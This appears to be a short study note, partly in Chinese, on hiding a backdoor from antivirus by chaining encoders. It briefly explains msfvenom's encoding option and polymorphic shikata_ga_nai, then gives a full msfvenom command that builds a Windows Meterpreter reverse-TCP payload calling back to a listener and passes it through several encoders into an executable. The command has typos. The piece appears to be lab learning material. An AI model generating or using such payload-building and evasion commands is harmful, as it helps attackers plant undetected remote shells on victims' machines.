# backdoor anti-virus ## obfuscation of the encode ![](https://i.imgur.com/aihbwXk.png) - it cound prvent the backdoor from killing by the feature code - -e(encoding) ![](https://i.imgur.com/UY6yo2Q.png) - x86/shikata_ga_nai 為多形encoding (百變怪 - 多次+多重 ![](https://i.imgur.com/tHN4HXY.png) ``` msfvenom -p windows/metepreter/reverse_tcp lhost=192.168.203.131 lport=4444 -e x86/shikata_ga_nai -i 1- -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 1- -f exe -o ~/Desktop/mul_EC_RTCP.exe ```